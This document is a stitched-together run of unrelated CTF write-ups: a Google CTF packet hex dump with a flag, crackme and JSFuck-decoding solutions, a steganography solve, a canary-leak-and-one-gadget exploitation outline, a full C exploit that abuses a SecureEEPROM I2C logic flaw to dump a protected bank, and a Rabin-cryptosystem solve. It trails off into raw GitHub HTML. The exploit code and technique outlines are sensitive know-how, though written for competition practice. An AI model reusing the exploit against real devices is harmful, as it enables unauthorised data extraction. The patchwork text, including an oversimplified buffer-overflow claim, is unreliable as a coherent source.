```0000 10 0b a9 73 33 70 00 37 6d 3f d7 89 08 00 45 00 ...s3p.7m?....E.0010 01 9f ec dc 40 00 2f 06 ea 0e 22 4c 65 1d c0 a8 ....@./..."Le...0020 2b 5c 05 39 c3 50 0c 2f 6c bb 8c f5 ef 52 80 18 +\.9.P./l....R..0030 00 dc 38 28 00 00 01 01 08 0a 68 bb 14 bf f4 48 ..8(......h....H0040 10 63 55 73 65 72 6e 61 6d 65 3a 20 62 72 65 77 .cUsername: brew0050 74 6f 6f 74 20 70 61 73 73 77 6f 72 64 3a 20 43 toot password: C0060 54 46 7b 34 65 66 63 63 37 32 30 39 30 61 66 32 TF{4efcc72090af20070 38 66 64 33 33 61 32 31 31 38 39 38 35 35 34 31 8fd33a21189855410080 66 39 32 65 37 39 33 34 37 37 66 7d 09 31 36 36 f92e793477f}.1660090 2e 30 30 20 49 53 2d 31 39 20 32 30 31 39 2f 30 .00 IS-19 2019/000a0 35 2f 30 39 20 30 30 3a 30 30 3a 30 30 09 53 77 5/09 00:00:00.Sw00b0 61 74 68 20 36 34 30 6b 6d 09 52 65 76 69 73 69 ath 640km.Revisi00c0 74 20 63 61 70 61 63 69 74 79 20 74 77 69 63 65 t capacity twice00d0 20 64 61 69 6c 79 2c 20 61 6e 79 77 68 65 72 65 daily, anywhere00e0 20 52 65 73 6f 6c 75 74 69 6f 6e 20 70 61 6e 63 Resolution panc00f0 68 72 6f 6d 61 74 69 63 3a 20 33 30 63 6d 20 6d hromatic: 30cm m0100 75 6c 74 69 73 70 65 63 74 72 61 6c 3a 20 31 2e ultispectral: 1.0110 32 6d 09 44 61 69 6c 79 20 61 63 71 75 69 73 69 2m.Daily acquisi0120 74 69 6f 6e 20 63 61 70 61 63 69 74 79 3a 20 32 tion capacity: 20130 32 30 2c 30 30 30 6b 6d c2 b2 09 52 65 6d 61 69 20,000km...Remai0140 6e 69 6e 67 20 63 6f 6e 66 69 67 20 64 61 74 61 ning config data0150 20 77 72 69 74 74 65 6e 20 74 6f 3a 20 68 74 74 written to: htt0160 70 73 3a 2f 2f 64 6f 63 73 2e 67 6f 6f 67 6c 65 ps://docs.google0170 2e 63 6f 6d 2f 64 6f 63 75 6d 65 6e 74 2f 64 2f .com/document/d/0180 31 34 65 59 50 6c 75 44 5f 70 69 33 38 32 34 47 14eYPluD_pi3824G0190 41 46 61 6e 53 32 39 74 57 64 54 63 4b 78 50 5f AFanS29tWdTcKxP_01a0 58 55 78 78 37 65 33 30 33 2d 33 45 0a XUxx7e303-3E.```
## Flag
```CTF{4efcc72090af28fd33a2118985541f92e793477f}```
# Next Stop

Next stop: [Home Computer](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day2-home-computer.md) (Green) or [Work Computer](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day2-work-computer.md) (Red) |
In this reverse challenge we were given a ELF (look at generic_crackme):
So the first thing to do is to open it in ghidra and understand the business logic:
This is the main function:

We are asked to input a string of 0x100 character at maximum, then is called a check function on the input, the core of the check is:

It simply compares the result value of another function in which is passed the characters of the input one by one with fixed values. This function is:

As we can see it simply increments the value passed and returns it. So the solution is given by this simple script:
```python#!/usr/bin/python3
hex = [0x65, 0x70, 0x68, 0x68, 0x7a]hex = [chr(x-1) for x in hex]
print('flag{' + ''.join(hex) + '}')```
```flag{doggy}``` |
BabbyPwn------------------------```Written by: blevy
nc chall2.2019.redpwn.net 4001```
Since the chalenge is an introductory overflow challenge, the most basic type of pwn is buffer overflow, therefore spamming letters such as "aaaaaaaaaaaaaaaaaa" in the console will automatically update the printout and print out the flag.
Crypt------------------```Written by: ginkoid
Store your most valuable secrets with this new encryption algorithm.```
Right as we get in the page, we see```Your safely encrypted flag is vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec```
By going to Inspector and checking the code, the algorithm is enclosed by JSFuck, which gives us```f=>btoa([...btoa(f)].map(s=>String.fromCharCode(s.charCodeAt(0)+(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))```
We can reverse this encryption by writing
```eval(f=>atob([...atob(f)].map(s=>String.fromCharCode(s.charCodeAt(0)-(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join('')))('vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec')```
which gives us```flag{tHe_H1gh3st_quA11ty_antI_d3buG}```
Generic Crackme------------```Written by: blevy
Note: Enclose the flag with flag{}.```
Right as we launch IDA, we get into

The part we care is the parts right after the \_fgets function where the inputs matter. We will be looking at what the sub_1168 function does.

A closer pic of the first 2 of the conditions:

It seems that theres a sub_1159 function right before the cmp instruction was used.

After analysing what sub_1159 does, we can conclude that it adds 1 byte to whatever the input was. And since each cmp instruction is comparing each letter by letter in ```rax``` (which is our input), we can assume this works as a caesar cipher and rotate 1 from our input to get ```ephhz```, which our input should be ```doggy```, so our flag should be
```flag{doggy}```.
Generic Crackme Redux---------------```Written by: blevy
Note: Enclose the flag with flag{}.```
This part is generic math (haha). By opening IDA, we see

Which shows us the disassembly for the main function. We get straight into the sub_5645DEB32169 function, where we see

We have to compare our output 0AC292h, which is 705170 in decimal. So lets break the function down. From the start,
```Lets call edx as x.mov eax, edx means x = x, so both eax and edx have values of x.shl eax, 2 means shift eax bits by 2, psudo-meaning multiply eax by 4. So eax = 4x.add eax, edx means add edx to eax. So eax = 5xadd eax, eax means add eax to eax, or eax * 2. eax = 10xcmp eax, 0AC292h compares value of eax to 0AC292h```Now after static analysizing these sets of functions manually, after we calculate eax, we get a decimal value of 70517, which is the correct answer!

So our correct answer is ```flag{70517}```
MSB---------```Written by: NotDeGhost
It's not LSB, its MSB!
Red is Random, Green is Garbage, Blue is Boring.
Hint: Only one channel is correct. Also, I like doing things top down.```
The challenge gives us a picture and gives some hints that data is hidden by MSB. This gives us the chance to use ```stegsolve```. When opening the picture with stegsolve, we get a picture.

By going through the color planes, we see an output that doesnt really feel the same like the others, there I data extracted by column and got the flag!


```flag{MSB_really_sucks}``` |
Format String + Buffer Overflow vulnerability
ASLR + NX bit + PIE + Full RELRO + Stack Canary enabled
Use the format string vuln to leak stack canary and a libc address. Calculate libc base, find a one gadget, then use the buffer overflow to jump to the one gadget.
Detailed writeup at the link. |
### Challenge Description:```This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.```
We are given `firmware.c` which runs on Intel 8051 emulator, and `seeprom.sv` which is a SystemVerilog source code that manages the so-called SecureEEPROM. After running the firmware, the emulator runs usercode supplied by the attacker.
Usually, the firmware/usercode (simply called "usercode" from now on) communicated with the EEPROM according to the given I2C protocol. The I2C protocol follows the below steps (note that emulator implementation details are omitted):1. Usercode sets necessary data in XDATA region, at address 0xfe00 of size 0x10 bytes.2. Usercode sets the `I2C_STATE` flag to 1, located in SFR region at address 0xfc of size 1 byte.3. Usercode waits until `I2C_STATE` is set to 0. At this time, the EEPROM reads/writes data as requested by the usercode.4. Usercode retrieves data back from the same XDATA region.
However, we have direct access to GPIO ports `RAW_I2C_SCL` and `RAW_I2C_SDA` used internally for the I2C protocol, located in SFR region at address 0xfa and 0xfb respectively. This allows us to communicate with the EEPROM directly.
The EEPROM splits 256 bytes of data into 4 banks of index 0 ~ 3, each having 64 bytes of data. Bank 1 holds the flag data, and has its secure bit set.
The EEPROM's SystemVerilog code has a vulnerability with contiuous read/write operations, as they check only if the secure state of current address and next address is the same but not whether if it actually is secure or not. This is not a huge problem if we only use the I2C protocol as given, but as we have access to raw GPIO ports this can be exploited as the following steps (using `enum i2c_state`, ACK omitted):1. `I2C_START` -> `I2C_LOAD_CONTROL (SEEPROM_I2C_ADDR_MEMORY | 0)` -> `I2C_LOAD_ADDRESS (63)` sets `i2c_address_valid <= 1`2. `I2C_START` -> `I2C_LOAD_CONTROL (SEEPROM_I2C_ADDR_SECURE | 0b0001)` sets bank 0 as secure3. `I2C_START` -> `I2C_LOAD_CONTROL (SEEPROM_I2C_ADDR_MEMORY | 1)` -> `I2C_READ` where read succeeds since `i2c_address_valid == 1`, and proceeds to continous read since `i2c_address_secure == i2c_next_address_secure`4. Receive & Print flag, byte-by-byte
Below is the analysis of how the usercode can interact with the EEPROM using raw scl/sda ports.```send_start: scl = 0 sda = 1 scl = 1 sda = 0
recv_ack: scl = 0 scl = 1 return sda (0 == ACK, 1 == NACK)
send_byte:for i in [0, 7]: scl = 0 sda = (i'th bit from MSB) scl = 1
recv_byte:for i in [0, 7]: scl = 0 scl = 1 (i'th bit from MSB) = sda
send_stop: scl = 0 sda = 0 scl = 1 sda = 1```
The (minimal) exploit usercode is given below.```C__sfr __at(0xff) POWEROFF;__sfr __at(0xfd) CHAROUT;
__sfr __at(0xfa) RAW_I2C_SCL;__sfr __at(0xfb) RAW_I2C_SDA;
const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;const SEEPROM_I2C_ADDR_SECURE = 0b01010000;
void print(const char *str){ while (*str) { CHAROUT = *str++; }}
void send_start(){ RAW_I2C_SCL = 0; RAW_I2C_SDA = 1; RAW_I2C_SCL = 1; RAW_I2C_SDA = 0;}
void send_stop(){ RAW_I2C_SCL = 0; RAW_I2C_SDA = 0; RAW_I2C_SCL = 1; RAW_I2C_SDA = 1;}
void recv_ack(){ RAW_I2C_SCL = 0; RAW_I2C_SCL = 1; if (RAW_I2C_SDA) print("NACK!!\n");}
void send_byte(unsigned char byte){ unsigned char i; for (i = 0; i <= 7; i++) { RAW_I2C_SCL = 0; RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0; RAW_I2C_SCL = 1; }}
unsigned char recv_byte(){ unsigned char byte = 0, i; for (i = 0; i <= 7; i++) { RAW_I2C_SCL = 0; RAW_I2C_SCL = 1; byte = (2 * byte) | RAW_I2C_SDA; } return byte;}
void main(void){ unsigned char i;
send_start(); send_byte(SEEPROM_I2C_ADDR_MEMORY | 0); recv_ack(); send_byte(63); // end of bank 0, just before bank 1 (flag) recv_ack(); // i2c_address_valid <= 1
send_start(); send_byte(SEEPROM_I2C_ADDR_SECURE | 0b0001); // secure bank 0 recv_ack();
send_start(); send_byte(SEEPROM_I2C_ADDR_MEMORY | 1);
for (i = 0; i <= 63; i++) { recv_ack(); CHAROUT = recv_byte(); }
send_stop();
POWEROFF = 1;}```
**FLAG: `CTF{flagrom-and-on-and-on}`** |
# AgainAndAgainAndAgain Writeup
### HackCon 2019 - Crypto 467 - 30 solves
> Someone was thinking encrypting again and again helps, proving them wrong.
#### Observation
The flag was encrypted by [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem) for multiple times. Since the factor `p` and `q` were given, I directly apply [extended euclidean algorithm](https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm) and [chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem) to find the four candidates(`r`, `s`, `n - r`, `n - s`) of plaintext.
Obviously the actual flag must be printable. By using this criteria which the plaintext must satisfy, I performed a [breadth-first search](https://en.wikipedia.org/wiki/Breadth-first_search) to find the flag. Each stage generated four candidates of plaintext, so BFS implementation was necessary. By recursively finding the plaintext, I get the flag:
```d4rk{r3p3t1t1v3_r4b1n_1s_th4_w0rs7_3vaaaaaar!}code```
The modular square root algorithm is obtained from [here](https://eli.thegreenplace.net/2009/03/07/computing-modular-square-roots-in-python).
Full exploit code: [solve.py](solve.py)
Original problem: [q1.py](q1.py)
Ciphertext: [config.py](config.py)
Modular sqrt algorithm: [modular_sqrt.py](modular_sqrt.py) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/hackcon2019 at master · r4j0x00/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="E3D6:76EE:1CD49DFA:1DB20F7A:64122452" data-pjax-transient="true"/><meta name="html-safe-nonce" content="5d731a40d6ea32aa11ce77b7fb0183424151e63b8d03376d5325b0d9f797352a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFM0Q2Ojc2RUU6MUNENDlERkE6MURCMjBGN0E6NjQxMjI0NTIiLCJ2aXNpdG9yX2lkIjoiOTMzOTY3ODcwMjg2NzY3MTg2IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="3db7406c4821e8026ed05179693d3c8aa0464693134b147d16e699d4771f3799" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:204000670" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Ctf Writeups. Contribute to r4j0x00/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/2685c6c9357f6575d07b436df35b508bc4fbe3311c3d13ee11b0b782e2b3d099/r4j0x00/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/hackcon2019 at master · r4j0x00/ctf-writeups" /><meta name="twitter:description" content="Ctf Writeups. Contribute to r4j0x00/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/2685c6c9357f6575d07b436df35b508bc4fbe3311c3d13ee11b0b782e2b3d099/r4j0x00/ctf-writeups" /><meta property="og:image:alt" content="Ctf Writeups. Contribute to r4j0x00/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/hackcon2019 at master · r4j0x00/ctf-writeups" /><meta property="og:url" content="https://github.com/r4j0x00/ctf-writeups" /><meta property="og:description" content="Ctf Writeups. Contribute to r4j0x00/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/r4j0x00/ctf-writeups git https://github.com/r4j0x00/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="31346934" /><meta name="octolytics-dimension-user_login" content="r4j0x00" /><meta name="octolytics-dimension-repository_id" content="204000670" /><meta name="octolytics-dimension-repository_nwo" content="r4j0x00/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="204000670" /><meta name="octolytics-dimension-repository_network_root_nwo" content="r4j0x00/ctf-writeups" />
<link rel="canonical" href="https://github.com/r4j0x00/ctf-writeups/tree/master/hackcon2019" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
